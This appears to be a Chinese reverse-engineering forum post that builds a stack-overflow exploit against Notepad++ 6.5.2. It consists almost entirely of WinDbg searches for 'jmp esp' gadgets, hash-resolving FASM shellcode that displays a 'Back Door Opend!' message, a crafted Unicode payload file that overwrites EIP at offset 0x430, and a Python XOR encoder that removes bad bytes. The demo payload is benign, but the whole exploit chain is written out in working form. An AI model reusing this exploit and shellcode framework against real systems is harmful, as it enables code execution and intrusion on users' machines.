0:009> .effmach x86
Effective machine: x86 compatible (x86)
0:009:x86> lmvm kernel32
start end module name
76cc0000 76dd0000 KERNEL32 (pdb symbols) f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb
Loaded symbol image file: KERNEL32.dll
Image path: KERNEL32.dll
Image name: KERNEL32.dll
Timestamp: Fri Aug 02 09:53:25 2013 (51FB1115)
CheckSum: 00111A9F
ImageSize: 00110000
…………………………………………………
0:009:x86> s 76cc0000 L00110000 ff e4
76ce8bd5 ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff ..E.v...........
0:009:x86> u 76ce8bd5
KERNEL32!BasepCheckCacheExcludeCustom+0x54:
76ce8bd5 ffe4 jmp esp
76ce8bd7 45 inc ebp
……………………………………………………………
0:009:x86> lmvm notepad*
start end module name
00400000 005c9000 notepad__ (deferred)
Image path: F:\Program Files (x86)\NotePad++\notepad++.exe
Image name: notepad++.exe
Timestamp: Tue Dec 10 18:54:54 2013 (52A6F2FE)
CheckSum: 0018B6E1
ImageSize: 001C9000
File version: 6.5.2.0
Product version: 6.5.2.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Don HO don.h@free.fr
ProductName: Notepad++
InternalName: npp.exe
OriginalFilename: Notepad++.exe
ProductVersion: 6.52
FileVersion: 6.52
FileDescription: Notepad++ : a free (GNU) source code editor
LegalCopyright: Copyleft 1998-2013 by Don HO
0:009:x86> s 00400000 L001C9000 ff e4
0044c4ed ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc ...._^..........
0051a88b ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00 ...N.......N....
……………………………………
0:009:x86> u 0044c4ed
notepad__+0x4c4ed:
0044c4ed ffe4 jmp esp
……………………………………
LoadLibraryExA_Digest equ 0xc0d83287
LoadLibraryA_Digest equ 0x0C917432
MessageBoxA_Digest equ 0x1E380A6A
FreeLibrary_Digest equ 0x30BA7C8C
use32
shellcode_start:
push ebp ;// 保存栈帧
mov ebp, esp
;// 获取USER32.DLL的基址
call @f
du "USER32.DLL",0
@@:
call get_module_base
test eax, eax
jz ._shellcode_return
push eax ;// [ebp-4]
;// 获取MessageBoxA的地址
push MessageBoxA_Digest
push eax
call get_proc_address_by_digest
test eax, eax
jz ._shellcode_return
;// Shell Code. Shion [Shel l_Co de._ Shio n000
call @f
db "Back Door Opend!", 0
@@:
pop edi
call @f
db 'HA...', 0
@@:
pop esi
push 00000040h
push esi
push edi
push 0
call eax
._shellcode_return:
leave
jmp $
;/************************************************************************/
;/* some useful procs for shell code programming.
;/* tishion
;/************************************************************************/
use32
get_peb:
mov eax, 30h
mov eax, [fs:eax] ;// eax = ppeb
ret
;/************************************************************************/
;/* Get base address of module
;* tishion
;* 2013-05-26 13:45:20
;* IN:
;* ebp+8 = moudule name null-terminate string [WCHAR]
;*
;* OUT:
;* eax = ntdll.base
;* #define _Wcsnicmp_Digest 0x548b2e5f
;/************************************************************************/
use32
get_module_base:
push ebp
mov ebp, esp
call get_ntdll_base
jz ._find_modulebase_done
push 548b2e5fh ;// hash of _wcsnicmp
push eax
call get_proc_address_by_digest
test eax, eax ;// _wcsnicmp
jz ._find_modulebase_done
push eax ;// [ebp-04h]_wcsnicmp
call get_peb
test eax, eax
jz ._find_modulebase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
mov esi, [eax+1ch]
jmp ._compare_moudule_name
._find_modulebase_loop:
mov esi, [esi] ;// esi = pLdr->InInitializationOrderModuleList
._compare_moudule_name:
test esi, esi
jz ._find_modulebase_done
xor edi, edi
mov di, word [esi+1ch] ;// length
push edi
push dword [esi+20h] ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
push dword [ebp+08h]
mov edi, [ebp-04h]
call edi
test eax, eax
jnz ._find_modulebase_loop
mov eax, [esi+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_modulebase_done:
leave
ret 4
;/************************************************************************/
;/* Get base address of ntdll.dll module
;* tishion
;* 2013-05-26 13:45:20
;*
;* OUT:
;* eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
call get_peb
test eax, eax
jz ._find_ntdllbase_done
mov eax, [eax+0ch] ;// eax = pLdr pLdr:[PEB_LDR_DATA]
mov eax, [eax+1ch] ;// eax = pLdr->InInitializationOrderModuleList
mov eax, [eax+08h] ;// eax = pLdrDataTableEntry.DllBase
._find_ntdllbase_done:
ret
;/************************************************************************/
;/* Get function name digest
;* tishion
;* 2013-05-26 13:45:20
;*
;* IN:
;* esi = function name
;* OUT:
;* edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:
push eax
xor edx, edx
._next_char:
xor eax, eax
lodsb
test eax, eax
jz ._done
ror edx, 7
add edx, eax
jmp ._next_char
._done:
pop eax
ret
;/************************************************************************/
;/* Get function address by searching export table
;* tishion
;* 2013-05-26 13:50:13
;*
;* IN:
;* [ebp+8] = module base
;* [ebp+0ch] = function name digest
;* OUT:
;* eax function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, [eax+3ch] ;// eax = ImageNtHeader IMAGE_NT_HEADERS
push eax ;// [ebp-04h]
;//add eax, 18h ;// eax = ImageOptionalHeader IMAGE_OPTIONAL_HEADER
;//add eax, 60h ;// eax = ImageExportDirectoryEntry IMAGE_DIRECTORY_ENTRY_EXPORT
;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
add eax, 78h
mov eax, [eax] ;// eax = RVA IMAGE_EXPORT_DIRECTORY
add eax, [ebp+08h] ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
mov ecx, eax
mov eax, [ecx+20h]
add eax, [ebp+08h] ;// eax = AddressOfNames
push eax ;// [ebp-08h] 导出名称地址表
mov eax, [ecx+24h]
add eax, [ebp+08h] ;// eax = AddressOfNameOrdinals
push eax ;// [ebp-0ch] 导出序号表
mov eax, [ecx+1ch]
add eax, [ebp+08h] ;// eax = AddressOfFunctions
push eax ;// [ebp-10h] 导出RAV地址表
push dword [ecx+10h] ;// [ebp-14h]ordinals base
push dword [ecx+14h] ;// [ebp-18h]NumberOfFunctions
push dword [ecx+18h] ;// [ebp-1ch]NumberOfNames
mov ecx, [ebp-1ch]
mov ebx, ecx
mov eax, [ebp-08h]
._find_func:
mov edi, ebx
sub edi, ecx
mov esi, [eax+edi*4]
test esi, esi ;// esi是否NULL
loope ._find_func
inc ecx
add esi, [ebp+08h]
call get_ansi_string_digest
cmp edx, [ebp+0ch]
loopne ._find_func ;// ecx 为目标函数在函数名数组中的index
xor edx, edx
mov eax, [ebp-0ch]
mov dx, [eax+edi*2]
cmp edx, [ebp-18h]
jae ._return_null
mov eax, [ebp-10h] ;// eax = AddressOfFunctions
mov eax, [eax+edx*4] ;// edi = RVA地址数组的地址 edi+4*序号 即为 某一函数的RVA地址
add eax, [ebp+08h]
jmp ._function_found_done
._return_null:
xor eax, eax
._function_found_done:
leave
ret 8
TARGET_EIP_OFFSET equ 0x430
use32
db 0xff, 0xfe ;// Unicode bom
org 0x0
times 0x80 du 'A'
shellcode_start:
;// shellcode解变形
;// 先让esp指向shellcode_start处
sub sp, (ESP_OFFSET - shellcode_start) ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
mov edi, esp ;// 寻址payload
;// 让edi指向payload_start
add edi, (payload_start - shellcode_start)
mov cx, 'PL' ;// payload的长度
.continue:
mov al, byte [edi]
xor al, cl
mov byte [edi], al
inc edi
loopnzw .continue
;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
;// 否则shellcode执行中会破坏shellcode代码
sub esp, 0x20
payload_start:
times (TARGET_EIP_OFFSET - payload_start) db 'P' ;// 为Payload预留的代码空间
payload_end:
org TARGET_EIP_OFFSET ;// 调整对齐伪指令
dd 0x0044C4ED ;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
jmp shellcode_start ;// 注意此时esp指向这里
;// 多来点填充尾部
times 400 du 'E'
37 DE FD FF FD FF
57 DE FD FF FD FF
54 DF FD FF FD FF
14 D8 FD FF FD FF
01 DB FD FF FD FF
72 DA FD FF FD FF
CE DB FD FF FD FF
D8 D9 FD FF FD FF
#!/usr/bin/env python
#coding:utf-8
"""
Author: tishion --<tishion#163.com>
Purpose:
Created: 2014/2/22
"""
from struct import *
def encode_sc(srcfn, dstfn, s=0):
"""
shell code变形方法:
把shell code中的每一个字节与该字节在整个单独的shell code中的
偏移值进行异或,然后再与一个salt做一次异或。
salt的存在主要是为了寻找一个满足各种要求的shell code变体
"""
try:
srcf = open(srcfn, 'rb') #shell code源文件
dstf = open(dstfn, 'wb') #变形后的目标文件
OneByte = Struct('B')
srcstr = srcf.read()
dststr = ''
salt = s & 0xFF
for i in range(0, len(srcstr)):
srcbyte = OneByte.unpack(srcstr[i])[0]
#dstbyte = (srcbyte ^ (i + salt)) & 0xFF #这种算法最终无法找到满足要求的变形结果
#dstbyte = (srcbyte ^ salt ^ i) & 0xFF #通过这中算法找到了满足的变形结果salt=0x20
dstbyte = (srcbyte ^ salt) & 0xFF #
##############################################################
#判断条件,这里的代码用于判断生成的shell code是否符合某些要求
if (
(dstbyte == 0) or
(((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF))
):
#print 'i=', i, 'dstbyte=', hex(dstbyte)
srcf.close()
dstf.close()
return False
###############################################################
dststr = dststr + OneByte.pack(dstbyte)
print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte)
dstf.write(dststr)
srcf.close()
dstf.close()
except Exception, e:
print 'Exception:', e
return False
return True
if __name__ == '__main__':
srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin'
dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______'
#encode_sc(srcfn, dstfn, 0x20)
#exit()
for i in range(2, 0xff):
if encode_sc(srcfn, dstfn, i):
print 'OK @salt =', hex(i)
break
else:
print 'Failed @salt =', hex(i)
pass
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)